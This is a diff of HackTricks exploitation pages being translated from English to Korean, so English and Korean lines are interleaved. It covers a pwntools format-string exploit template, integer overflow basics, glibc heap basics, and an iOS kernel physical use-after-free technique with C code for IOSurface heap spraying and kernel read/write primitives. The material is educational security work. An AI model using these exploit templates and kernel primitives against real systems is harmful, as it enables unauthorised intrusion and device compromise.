print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,120 +4,112 @@
## Basic Information
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
**정수 오버플로우**의 핵심은 컴퓨터 프로그래밍에서 데이터 유형의 **크기**에 의해 부과된 제한과 데이터의 **해석**입니다.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
예를 들어, **8비트 부호 없는 정수**는 **0에서 255**까지의 값을 나타낼 수 있습니다. 8비트 부호 없는 정수에 256의 값을 저장하려고 하면, 저장 용량의 제한으로 인해 0으로 돌아갑니다. 마찬가지로, **0에서 65,535**까지의 값을 저장할 수 있는 **16비트 부호 없는 정수**에 65,535에 1을 더하면 값이 다시 0으로 돌아갑니다.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
또한, **8비트 부호 있는 정수**는 **-128에서 127**까지의 값을 나타낼 수 있습니다. 이는 한 비트가 부호(양수 또는 음수)를 나타내는 데 사용되므로 7비트가 크기를 나타내는 데 남습니다. 가장 작은 음수는 **-128**(이진 `10000000`)로 표현되고, 가장 큰 양수는 **127**(이진 `01111111`)로 표현됩니다.
### Max values
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
잠재적인 **웹 취약점**에 대해 최대 지원 값을 아는 것은 매우 흥미롭습니다:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## 예시
### Pure overflow
The printed result will be 0 as we overflowed the char:
### 순수 오버플로우
출력된 결과는 0이 될 것입니다. 왜냐하면 우리는 char를 오버플로우했기 때문입니다:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
사용자 입력에서 읽은 signed 정수가 적절한 검증 없이 unsigned 정수로 처리되는 상황을 고려해 보십시오:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
이 예제에서 사용자가 음수를 입력하면 이진 값이 해석되는 방식 때문에 큰 부호 없는 정수로 해석되어 예기치 않은 동작을 초래할 수 있습니다.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### 다른 예제들
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- 비밀번호의 크기를 저장하는 데 1B만 사용되므로 이를 오버플로우하여 실제 길이가 260인 반면 길이가 4라고 생각하게 할 수 있습니다. 길이 검사 보호를 우회하기 위해서입니다.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- 몇 개의 숫자가 주어졌을 때 z3를 사용하여 첫 번째 숫자와 곱해져 두 번째 숫자를 생성하는 새로운 숫자를 찾습니다:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- 비밀번호의 크기를 저장하는 데 1B만 사용되므로 이를 오버플로우하여 실제 길이가 260인 반면 길이가 4라고 생각하게 할 수 있습니다. 길이 검사 보호를 우회하고 스택에서 다음 지역 변수를 덮어쓰고 두 가지 보호를 모두 우회합니다.
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
**ARM64에서는 변경되지 않습니다**. [**이 블로그 게시물**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)에서 볼 수 있습니다.
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,211 +2,202 @@
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
이것은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 익스플로잇에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다.
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
iOS의 **사용자 프로세스**에 대한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다.
#### Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels:
페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
* 여기의 각 항목은 넓은 범위의 가상 메모리를 나타냅니다.
* **0x1000000000 바이트**(또는 **256 GB**)의 가상 메모리를 포함합니다.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
* 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트**(32 MB)입니다.
* L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
* 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다.
* L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* 페이지 테이블의 일부 항목은 가상 주소의 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다(단축키와 같은 방식).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* 더 세밀한 제어가 필요할 경우, 한 수준의 항목(예: L1)은 다음 수준의 **자식 페이지 테이블**(예: L2)을 가리킬 수 있습니다.
#### Example: Mapping a Virtual Address
Lets say you try to access the virtual address **0x1000000000**:
가상 주소 **0x1000000000**에 접근하려고 한다고 가정해 보겠습니다:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
* 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 **L2 페이지 테이블에 대한 포인터**가 있다면, 해당 L2 테이블로 이동합니다.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
* 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 **L3 페이지 테이블**을 가리킨다면, 그곳으로 진행합니다.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
* 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 **물리 주소**를 가리킵니다.
#### Example of Address Mapping
If you write the physical address **0x800004000** into the first index of the L2 table, then:
물리 주소 **0x800004000**을 L2 테이블의 첫 번째 인덱스에 기록하면:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* **0x1000000000**에서 **0x1002000000**까지의 가상 주소는 **0x800004000**에서 **0x802004000**까지의 물리 주소에 매핑됩니다.
* 이는 L2 수준에서의 **블록 매핑**입니다.
Alternatively, if the L2 entry points to an L3 table:
반대로, L2 항목이 L3 테이블을 가리키면:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다.
### Physical use-after-free
A **physical use-after-free** (UAF) occurs when:
**물리적 use-after-free** (UAF)는 다음과 같은 경우에 발생합니다:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. 프로세스가 **읽기 및 쓰기 가능**한 메모리를 **할당**합니다.
2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다.
3. 프로세스가 메모리를 **해제**(프리)합니다.
4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 제거하는 것을 **잊어버립니다**, 비록 해당 물리 메모리를 프리로 표시하더라도.
5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다.
6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
이는 프로세스가 **커널 메모리의 페이지**에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 **커널 메모리**를 **조작**할 수 있는 가능성을 제공합니다.
### Exploitation Strategy: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **heap spray**라는 기술을 사용합니다:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. 공격자는 커널 메모리에 **많은 수의 IOSurface 객체**를 생성합니다.
2. 각 IOSurface 객체는 그 필드 중 하나에 **매직 값**을 포함하여 쉽게 식별할 수 있게 합니다.
3. 그들은 **해제된 페이지**를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다.
4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
이와 관련된 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Spray IOSurface Objects**: 공격자는 특별한 식별자("매직 값")로 많은 IOSurface 객체를 생성합니다.
2. **Scan Freed Pages**: 그들은 해제된 페이지에 할당된 객체가 있는지 확인합니다.
3. **Read/Write Kernel Memory**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해:
* 하나의 필드를 사용하여 커널 메모리에서 **임의의 32비트 값**을 **읽을 수** 있습니다.
* 다른 필드를 사용하여 **64비트 값을 쓸 수** 있으며, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다.
IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
하나의 해제된 물리 페이지에서 **`IOSurface`** 객체를 검색합니다:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### 커널 읽기/쓰기 달성하기: IOSurface
### Achieving Kernel Read/Write with IOSurface
커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 위해 **임의의 커널 읽기 및 쓰기 작업**에 사용할 수 있습니다.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**IOSurface의 주요 필드**
**Key Fields in IOSurface**
IOSurface 객체에는 두 가지 중요한 필드가 있습니다:
The IOSurface object has two crucial fields:
1. **사용 카운트 포인터**: **32비트 읽기**를 허용합니다.
2. **인덱스 타임스탬프 포인터**: **64비트 쓰기**를 허용합니다.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
이 포인터를 덮어쓰면, 우리는 이를 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화합니다.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### 32비트 커널 읽기
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
읽기를 수행하려면:
1. **사용 카운트 포인터**를 덮어써서 대상 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키게 합니다.
2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
쓰기 작업을 수행하려면:
1. **인덱스된 타임스탬프 포인터**를 대상 주소로 덮어씁니다.
2. `set_indexed_timestamp` 메서드를 사용하여 64비트 값을 씁니다.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **물리적 Use-After-Free 트리거**: 재사용 가능한 해제된 페이지가 있습니다.
2. **IOSurface 객체 스프레이**: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당합니다.
3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾습니다.
4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 합니다.
이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다.

View File

@ -2,196 +2,189 @@
## Heap Basics
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
힙은 기본적으로 프로그램이 **`malloc`**, `calloc`와 같은 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 장소입니다. 또한, 이 메모리가 더 이상 필요하지 않을 때는 **`free`** 함수를 호출하여 사용 가능하게 됩니다.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다 ( `[heap]` 섹션을 확인하세요):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋만큼이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
공간을 예약하는 방법은 사용된 빈에 따라 다르지만, 일반적인 방법론은 다음과 같습니다:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- 프로그램은 특정 양의 메모리를 요청하는 것으로 시작합니다.
- 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다.
- 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지가 청크 목록에 추가될 수 있음을 의미할 수 있습니다.
- 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다.
- 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다.
- 모든 것이 실패하면, `malloc`은 null을 반환합니다.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
